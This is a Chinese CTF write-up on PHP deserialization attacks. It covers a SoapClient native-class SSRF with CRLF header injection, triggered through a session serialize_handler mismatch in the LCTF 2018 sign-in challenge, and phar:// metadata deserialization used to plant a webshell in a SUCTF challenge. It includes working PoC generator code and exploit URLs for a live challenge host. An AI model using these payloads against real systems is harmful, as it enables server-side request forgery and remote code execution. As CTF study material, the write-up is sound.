LCTF的Web题,本菜鸡是感觉难到自闭了,只能来分析下签到题
这是题目源码
<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET[f],$_POST);
session_start();
if(isset($_GET[name])){
$_SESSION[name] = $_GET[name];
}
var_dump($_SESSION);
$a = array(reset($_SESSION),'welcome_to_the_lctf2018');
call_user_func($b,$a);
?>
有一个flag.php但要求本地访问
所以思路其实蛮清晰的,构造反序列化触发SSRF
问题的关键在于没有可以利用的类,没有可以利用的类就找不到POP链
所以只能考虑PHP原生类
其实这道题目就是这个考点——利用PHP原生类来构造POP链,这和N1ctf的一道题是一致的
但是还有一个点就是如何触发反序列化
开始想到变量覆盖,通过extract覆盖b为unserialize
然后再在下面的call_user_func中调用unserialize
但是a默认为一个数组,这是不可控的,unserialize无法处理数组,所以只能想其它的办法
然后想到了利用PHP中session反序列化机制的问题来触发反序列化
在php.ini中存在session.serialize_handler配置,定义用来序列化/反序列化的处理器名字,默认使用php。
php中的session中的内容是以文件的方式来存储的
存储方式由配置项session.save_handler确定,默认是以文件的方式存储。
PHP中session本身的序列化机制是没有问题的
问题出在了如果在序列化和反序列化时选择的引擎不同,就会带来安全问题
当使用php引擎的时候,php引擎会以|作为作为key和value的分隔符,对value多进行一次反序列化,达到我们触发反序列化的目的
具体可以参考 https://blog.spoock.com/2016/10/16/php-serialize-problem/
利用php的原生类soap进行反序列化的姿势是在N1ctf题目中学到的
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一:WSDL 用来描述如何访问具体的接口, UDDI用来管理,分发,查询webService ,SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
这里飘零师傅有写过详细的文章,也不赘述了 https://www.anquanke.com/post/id/153065#h2-5
简单来讲,我们可以通过它来发送http/https请求,同时,这里的http头部还存在crlf漏洞
SoapClient类可以创建soap数据报文,与wsdl接口进行交互。
看一下简单的用法
<?php
$a = new SoapClient(null,array(location'=>'http://example.com:2333','uri'=>'123'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();
这样我们就能触发SSRF了
同时,我们可以通过设置user_agent头来构造CRLF
这是wupco师傅的poc
<?php
$target = "http://example.com:2333/";
$post_string = 'data=abc';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\n\r",$aaa);
echo urlencode($aaa);
所以我们可以通过call_user_func来设置session.serialize_handler,然后通过默认引擎来触发反序列化
反序列化利用的是Soap原生类来触发SSRF到flag.php页面,猜想flag会存储在session中
首先测试能否触发SSRF,测试是可以的,就直接上解题过程了
构造payload,这里我们要将cookie添加到header中,所以通过user_agent的Crlf来达到目的
<?php
$target = "http://example:2333";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
$c = unserialize(urldecode($payload));
$c->a();
先本地测试下
本地是可以成功的
所以我们要在题目中触发反序列化
先生成payload
<?php
$target = "http://127.0.0.1/flag.php";
$attack = new SoapClient(null,array('location' => $target,
'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=8nsujaq7o5tl0btee8urnlsrb3\r\n",
'uri' => "123"));
$payload = urlencode(serialize($attack));
echo $payload;
然后通过call_user_func来设置session.serialize_handler
最后不要忘记构造payload的最后一步是在序列化的值之前加一个|
首先要将我们的payload存储进session
然后再去触发反序列化
最后修改cookie为我们设置的SSRF中的cookie查看session,就可以看到flag了
这道题目让我想起了PHP反序列化的另一些拓展
即关于phar://
的利用
同样是很隐蔽的触发反序列化的点
phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展了php反序列化漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://
伪协议,可以不依赖unserialize()直接进行反序列化操作。
可以理解为一个标志,格式为xxx<?php xxx;HALT_COMPILER();?>,前期内容不限,但必须以HALT_COMPILER();?>来结尾,否则phar扩展将无法识别其为phar文件。
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都存放在这一部分中。这部分将会以序列化的形式存储用户自定义的meta-data。
被压缩文件的内容。
签名,放在文件末尾,目前支持的两种签名格式是MD5和SHA1。
漏洞触发点在使用phar://
协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。
meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
利用php生成phar文件
要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
受影响函数列表
PHP识别phar文件是通过文件头的stub,即__HALT_COMPILER();?>,对前面的内容或者后缀名没有要求。可以通过添加任意文件头加上修改后缀名的方式将phar文件伪装成其他格式的文件。
exp
$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
#添加压缩文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');
#可以设置其它的文件头来伪造文件类型
$o=new test('test');
#实例化一个对象
$phar->setMetaData($o);
#存入头
$phar->stopBuffering();
#计算签名
前几天suctf的招新题刚好能用来当实例
刚好题目环境还在 http://49.4.68.67:86/
直接放上当时写的wp
上传点简单猜测,暂时没法绕过
swp源码泄露
<?php
include('./PicManager.php');
$manager=new PicManager('/var/www/html/sandbox/'.md5($_SERVER['REMOTE_ADDR']));
if(isset($_GET['act'])){
switch($_GET['act']){
case 'upload':{
if($_SERVER['REQUEST_METHOD']=='POST'){
$manager->upload_pic();
}
break;
}
case 'get':{
print $manager->get_pic($_GET['pic']);
exit;
}
case 'clean':{
$manager->clean();
break;
}
default:{
break;
}
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf8" />
<title>GALLERY</title>
<link rel="stylesheet" type="text/css" href="demo.css" />
<link rel="stylesheet" href="jquery-ui.css" type="text/css" media="all" />
<link rel="stylesheet" type="text/css" href="fancybox/jquery.fancybox-1.2.6.css" />
<script
src="https://code.jquery.com/jquery-3.3.1.min.js"
integrity="sha256-FgpCb/KJQlLNfOu91ta32o/NMZxltwRo8QtmkMRdAu8="
crossorigin="anonymous"></script>
<script
src="http://code.jquery.com/ui/1.12.0-rc.2/jquery-ui.min.js"
integrity="sha256-55Jz3pBCF8z9jBO1qQ7cIf0L+neuPTD1u7Ytzrp2dqo="
crossorigin="anonymous"></script>
<script type="text/javascript" src="fancybox/jquery.fancybox-1.2.6.pack.js"></script>
<script type="text/javascript" src="script.js"></script>
</head>
<body>
<div id="main">
<h1>Gallery</h1>
<h2>hello <?=$_SERVER['REMOTE_ADDR'];?></h2>
<div id="gallery">
<?php
$stage_width=600;//放大后的图片宽度
$stage_height=400;//放大后的图片高度
$allowed_types=array('jpg','jpeg','gif','png');
$file_parts=array();
$ext='';
$title='';
$i=0;
$i=1;
$pics=$manager->pics();
foreach ($pics as $file)
{
if($file=='.' || $file == '..') continue;
$file_parts = explode('.',$file);
$ext = strtolower(array_pop($file_parts));
// $title = implode('.',$file_parts);
// $title = htmlspecialchars($title);
if(in_array($ext,$allowed_types))
{
$left=rand(0,$stage_width);
$top=rand(0,400);
$rot = rand(-40,40);
if($top>$stage_height-130 && $left > $stage_width-230)
{
$top-=120+130;
$left-=230;
}
/* 输出各个图片: */
echo '
<div id="pic-'.($i++).'" class="pic" style="top:'.$top.'px;left:'.$left.'px;background:url(\'http://'.$_SERVER['HTTP_HOST'].':'.$_SERVER["SERVER_PORT"].'/?act=get&pic='.$file.'\') no-repeat 50% 50%; -moz-transform:rotate('.$rot.'deg); -webkit-transform:rotate('.$rot.'deg);">
<img src="http://'.$_SERVER['HTTP_HOST'].'/?act=get&pic='.$file.'" target="_blank"/>
</div>';
}
}
?>
<div class="drop-box">
</div>
</div>
<div class="clear"></div>
</div>
<div id="modal" title="上传图片">
<form action="index.php?act=upload" enctype="multipart/form-data" method="post">
<fieldset>
<!-- <label for="url">文件:</label>-->
<input type="file" name="file" id="url" onfocus="this.select()" />
<input type="submit" value="上传"/>
</fieldset>
</form>
</div>
</body>
</html>
可以看到实例化了一个PicManager对象,包含三个方法
get参数通过pic参数传参,尝试之后发现可以读源码
读取PicManager.php
<?php
class PicManager{
private $current_dir;
private $whitelist=['.jpg','.png','.gif'];
private $logfile='request.log';
private $actions=[];
public function __construct($dir){
$this->current_dir=$dir;
if(!is_dir($dir))@mkdir($dir);
}
private function _log($message){
array_push($this->actions,'['.date('y-m-d h:i:s',time()).']'.$message);
}
public function pics(){
$this->_log('list pics');
$pics=[];
foreach(scandir($this->current_dir) as $item){
if(in_array(substr($item,-4),$this->whitelist))
array_push($pics,$this->current_dir."/".$item);
}
return $pics;
}
public function upload_pic(){
$this->_log('upload pic');
$file=$_FILES['file']['name'];
if(!in_array(substr($file,-4),$this->whitelist)){
$this->_log('unsafe deal:upload filename '.$file);
return;
}
$newname=md5($file).substr($file,-4);
move_uploaded_file($_FILES['file']['tmp_name'],$this->current_dir.'/'.$newname);
}
public function get_pic($picname){
$this->_log('get pic');
if(!file_exists($picname))
return '';
$fi=new finfo(FILEINFO_MIME_TYPE);
$mime=$fi->file($picname);
header('Content-Type:'.$mime);
return file_get_contents($picname);
}
public function clean(){
$this->_log('clean');
foreach(scandir($this->current_dir) as $file){
@unlink($this->current_dir."/".$file);
}
}
public function __destruct(){
$fp=fopen($this->current_dir.'/'.$this->logfile,"a");
foreach($this->actions as $act){
fwrite($fp,$act."\n");
}
fclose($fp);
}
}
//$pic=new PicManager('./');
//$pic->gen();
所以这里有一个反序列化的可控点,但是如何触发反序列化呢?
所以这里就是phar协议拓展了攻击面
利用phar协议对象注入来触发反序列化达到写shell的目的
<?php
class PicManager{...}
$phar=new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('te.txt','asd');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$o=new PicManager('/var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e');
$phar->setMetaData($o);
$phar->stopBuffering();
利用exp生成phar文件并上传,注意修改后缀为gif
上传成功,然后通过phar协议触发反序列化
http://49.4.68.67:86/?act=get&pic=phar:///var/www/html/sandbox/4150952d11458a39692ea5d1e2756f1e/f3035846cc279a1aff73b7c2c25367b9.gif
访问shell直接拿到flag
http://49.4.68.67:86/sandbox/4150952d11458a39692ea5d1e2756f1e/request.php
https://blog.spoock.com/2016/10/16/php-serialize-problem/
https://www.anquanke.com/post/id/153065#h2-5
https://paper.seebug.org/680/#23-phar